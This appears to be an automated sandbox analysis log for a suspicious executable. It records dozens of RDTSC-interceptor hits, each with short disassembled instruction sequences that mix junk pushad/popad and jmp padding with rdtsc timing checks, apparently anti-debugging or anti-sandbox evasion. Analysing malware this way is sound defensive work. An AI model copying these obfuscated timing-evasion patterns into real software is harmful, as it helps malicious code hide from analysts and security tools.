Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7851481 second address: 7851489 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7851489 second address: 78514B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esi+24h] 0x0000000a jmp 00007F38E4FF50C4h 0x0000000f mov dword ptr [edx+24h], eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78514B0 second address: 78514B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78514B4 second address: 78514B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78514B8 second address: 78514BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78514BE second address: 7851505 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FF50C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esi+28h] 0x0000000c jmp 00007F38E4FF50C0h 0x00000011 mov dword ptr [edx+28h], eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F38E4FF50C7h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7851505 second address: 785150B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 785150B second address: 7851538 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, dword ptr [esi+2Ch] 0x0000000b jmp 00007F38E4FF50C7h 0x00000010 mov dword ptr [edx+2Ch], ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 mov ecx, edx 0x00000018 mov bl, 16h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7851538 second address: 7851578 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F38E4FECF3Fh 0x00000009 add cx, 531Eh 0x0000000e jmp 00007F38E4FECF49h 0x00000013 popfd 0x00000014 mov ebx, esi 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov ax, word ptr [esi+30h] 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7851578 second address: 7851581 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dx, 6118h 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7851581 second address: 7851592 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F38E4FECF3Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7851592 second address: 7851596 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7851596 second address: 78515BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov word ptr [edx+30h], ax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov esi, 580E3DD5h 0x00000014 jmp 00007F38E4FECF42h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78515BD second address: 7851667 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, ax 0x00000006 mov cx, 27F9h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ax, word ptr [esi+32h] 0x00000011 jmp 00007F38E4FF50C4h 0x00000016 mov word ptr [edx+32h], ax 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F38E4FF50BEh 0x00000021 sub ecx, 2EA93038h 0x00000027 jmp 00007F38E4FF50BBh 0x0000002c popfd 0x0000002d mov ch, C6h 0x0000002f popad 0x00000030 mov eax, dword ptr [esi+34h] 0x00000033 jmp 00007F38E4FF50BBh 0x00000038 mov dword ptr [edx+34h], eax 0x0000003b jmp 00007F38E4FF50C6h 0x00000040 test ecx, 00000700h 0x00000046 jmp 00007F38E4FF50C0h 0x0000004b jne 00007F3952D23185h 0x00000051 push eax 0x00000052 push edx 0x00000053 jmp 00007F38E4FF50C7h 0x00000058 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7851667 second address: 7851690 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F38E4FECF3Fh 0x00000009 jmp 00007F38E4FECF43h 0x0000000e popfd 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7851690 second address: 78516FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 or dword ptr [edx+38h], FFFFFFFFh 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F38E4FF50C2h 0x00000012 adc si, 80E8h 0x00000017 jmp 00007F38E4FF50BBh 0x0000001c popfd 0x0000001d pushfd 0x0000001e jmp 00007F38E4FF50C8h 0x00000023 jmp 00007F38E4FF50C5h 0x00000028 popfd 0x00000029 popad 0x0000002a or dword ptr [edx+3Ch], FFFFFFFFh 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 push edx 0x00000032 pop esi 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78516FB second address: 7851700 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7851700 second address: 7851732 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F38E4FF50C0h 0x00000009 xor al, FFFFFFD8h 0x0000000c jmp 00007F38E4FF50BBh 0x00000011 popfd 0x00000012 mov ebx, eax 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 or dword ptr [edx+40h], FFFFFFFFh 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7851732 second address: 7851736 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7851736 second address: 785173C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 785173C second address: 78517AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FECF46h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a pushad 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F38E4FECF3Ch 0x00000012 and ah, FFFFFF98h 0x00000015 jmp 00007F38E4FECF3Bh 0x0000001a popfd 0x0000001b call 00007F38E4FECF48h 0x00000020 pop esi 0x00000021 popad 0x00000022 popad 0x00000023 pop ebx 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F38E4FECF48h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78517AB second address: 78517B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78517B1 second address: 78517D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FECF3Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b leave 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F38E4FECF3Fh 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78A0C7D second address: 78A0C83 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78A0C83 second address: 78A0C89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78A0C89 second address: 78A0CE2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FF50C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F38E4FF50BDh 0x00000015 sbb cx, C666h 0x0000001a jmp 00007F38E4FF50C1h 0x0000001f popfd 0x00000020 call 00007F38E4FF50C0h 0x00000025 pop esi 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78A0CE2 second address: 78A0CE9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 77E001C second address: 77E0022 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 77E0022 second address: 77E0026 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 77E0026 second address: 77E004F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F38E4FF50C6h 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov ecx, edi 0x00000014 movsx edi, si 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 77E004F second address: 77E007E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FECF3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov si, di 0x00000011 jmp 00007F38E4FECF47h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 77E007E second address: 77E00E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F38E4FF50BFh 0x00000009 jmp 00007F38E4FF50C3h 0x0000000e popfd 0x0000000f pushfd 0x00000010 jmp 00007F38E4FF50C8h 0x00000015 xor eax, 44E96F38h 0x0000001b jmp 00007F38E4FF50BBh 0x00000020 popfd 0x00000021 popad 0x00000022 pop edx 0x00000023 pop eax 0x00000024 pop ebp 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F38E4FF50C0h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 77E00E8 second address: 77E00EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 77E00EC second address: 77E00F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 77E06FE second address: 77E0702 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 77E0702 second address: 77E0708 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 77E0708 second address: 77E070E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 77E070E second address: 77E0712 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 77E0712 second address: 77E072D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FECF3Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 77E072D second address: 77E0731 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 77E0731 second address: 77E074D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FECF48h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 77E074D second address: 77E0753 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 77E0753 second address: 77E0757 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 77E0757 second address: 77E0771 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a mov dl, 8Ch 0x0000000c mov ecx, 4A33CCF7h 0x00000011 popad 0x00000012 mov ebp, esp 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 77E0771 second address: 77E0775 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 77E0775 second address: 77E077B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 77E077B second address: 77E07BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FECF3Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movsx edx, cx 0x00000010 pushfd 0x00000011 jmp 00007F38E4FECF46h 0x00000016 add si, FC78h 0x0000001b jmp 00007F38E4FECF3Bh 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 77E07BD second address: 77E07D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F38E4FF50C4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 77E0B89 second address: 77E0BE1 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F38E4FECF40h 0x00000008 xor cx, 8168h 0x0000000d jmp 00007F38E4FECF3Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushfd 0x00000016 jmp 00007F38E4FECF48h 0x0000001b add eax, 4993D3C8h 0x00000021 jmp 00007F38E4FECF3Bh 0x00000026 popfd 0x00000027 popad 0x00000028 xchg eax, ebp 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d pop edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 77E0BE1 second address: 77E0BE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 77E0BE5 second address: 77E0C44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F38E4FECF3Ch 0x0000000c jmp 00007F38E4FECF45h 0x00000011 popfd 0x00000012 popad 0x00000013 mov ebp, esp 0x00000015 pushad 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 mov ah, EEh 0x0000001b popad 0x0000001c pushad 0x0000001d call 00007F38E4FECF3Bh 0x00000022 pop ecx 0x00000023 movsx edi, cx 0x00000026 popad 0x00000027 popad 0x00000028 pop ebp 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F38E4FECF47h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7830925 second address: 7830937 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F38E4FF50BEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7830937 second address: 7830960 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FECF3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F38E4FECF45h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7810071 second address: 7810077 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7810077 second address: 781007B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78101C5 second address: 7810227 instructions: 0x00000000 rdtsc 0x00000002 mov bh, 0Ah 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov edi, dword ptr [ebp+08h] 0x0000000a jmp 00007F38E4FF50BAh 0x0000000f mov dword ptr [esp+24h], 00000000h 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F38E4FF50BEh 0x0000001e jmp 00007F38E4FF50C5h 0x00000023 popfd 0x00000024 mov ah, E1h 0x00000026 popad 0x00000027 lock bts dword ptr [edi], 00000000h 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F38E4FF50C6h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7810227 second address: 7810250 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FECF3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007F3954C0F133h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F38E4FECF40h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7810250 second address: 7810256 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7810256 second address: 7810298 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FECF3Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov edi, 6C3F1950h 0x00000012 pushfd 0x00000013 jmp 00007F38E4FECF49h 0x00000018 jmp 00007F38E4FECF3Bh 0x0000001d popfd 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7840234 second address: 7840249 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FF50C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7840249 second address: 7840266 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop edx 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F38E4FECF42h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 783089E second address: 78308A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78308A2 second address: 78308B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FECF42h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78308B8 second address: 78308DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FF50BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F38E4FF50C5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78404DE second address: 78404E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78404E2 second address: 78404E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78404E6 second address: 78404EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78404EC second address: 78404F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78404F2 second address: 784050A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F38E4FECF3Dh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 784050A second address: 784057F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FF50C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c jmp 00007F38E4FF50BEh 0x00000011 mov ebp, esp 0x00000013 pushad 0x00000014 mov ax, 107Dh 0x00000018 push eax 0x00000019 mov cx, dx 0x0000001c pop ebx 0x0000001d popad 0x0000001e push dword ptr [ebp+04h] 0x00000021 jmp 00007F38E4FF50C0h 0x00000026 push dword ptr [ebp+0Ch] 0x00000029 jmp 00007F38E4FF50C0h 0x0000002e push dword ptr [ebp+08h] 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F38E4FF50C7h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78B0B3B second address: 78B0BA6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, si 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov di, si 0x0000000f mov esi, 09645CADh 0x00000014 popad 0x00000015 mov dl, byte ptr [ebp+14h] 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F38E4FECF46h 0x0000001f sbb al, 00000078h 0x00000022 jmp 00007F38E4FECF3Bh 0x00000027 popfd 0x00000028 movzx eax, dx 0x0000002b popad 0x0000002c mov eax, dword ptr [ebp+10h] 0x0000002f jmp 00007F38E4FECF3Bh 0x00000034 and dl, 00000007h 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007F38E4FECF45h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7890D48 second address: 7890DC0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FF50C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F38E4FF50BEh 0x0000000f push eax 0x00000010 jmp 00007F38E4FF50BBh 0x00000015 xchg eax, ebp 0x00000016 jmp 00007F38E4FF50C6h 0x0000001b mov ebp, esp 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F38E4FF50BEh 0x00000024 add si, C038h 0x00000029 jmp 00007F38E4FF50BBh 0x0000002e popfd 0x0000002f push eax 0x00000030 push edx 0x00000031 mov si, 9005h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78A0503 second address: 78A057E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 67778504h 0x00000008 movsx edx, ax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebx 0x0000000f pushad 0x00000010 mov al, bl 0x00000012 popad 0x00000013 xchg eax, esi 0x00000014 pushad 0x00000015 mov cl, 87h 0x00000017 mov ecx, edi 0x00000019 popad 0x0000001a push eax 0x0000001b pushad 0x0000001c movzx eax, dx 0x0000001f mov edi, 35A061DAh 0x00000024 popad 0x00000025 xchg eax, esi 0x00000026 pushad 0x00000027 call 00007F38E4FECF47h 0x0000002c pushfd 0x0000002d jmp 00007F38E4FECF48h 0x00000032 and cl, 00000078h 0x00000035 jmp 00007F38E4FECF3Bh 0x0000003a popfd 0x0000003b pop ecx 0x0000003c popad 0x0000003d mov esi, dword ptr [ebp+08h] 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007F38E4FECF3Eh 0x00000047 rdtsc
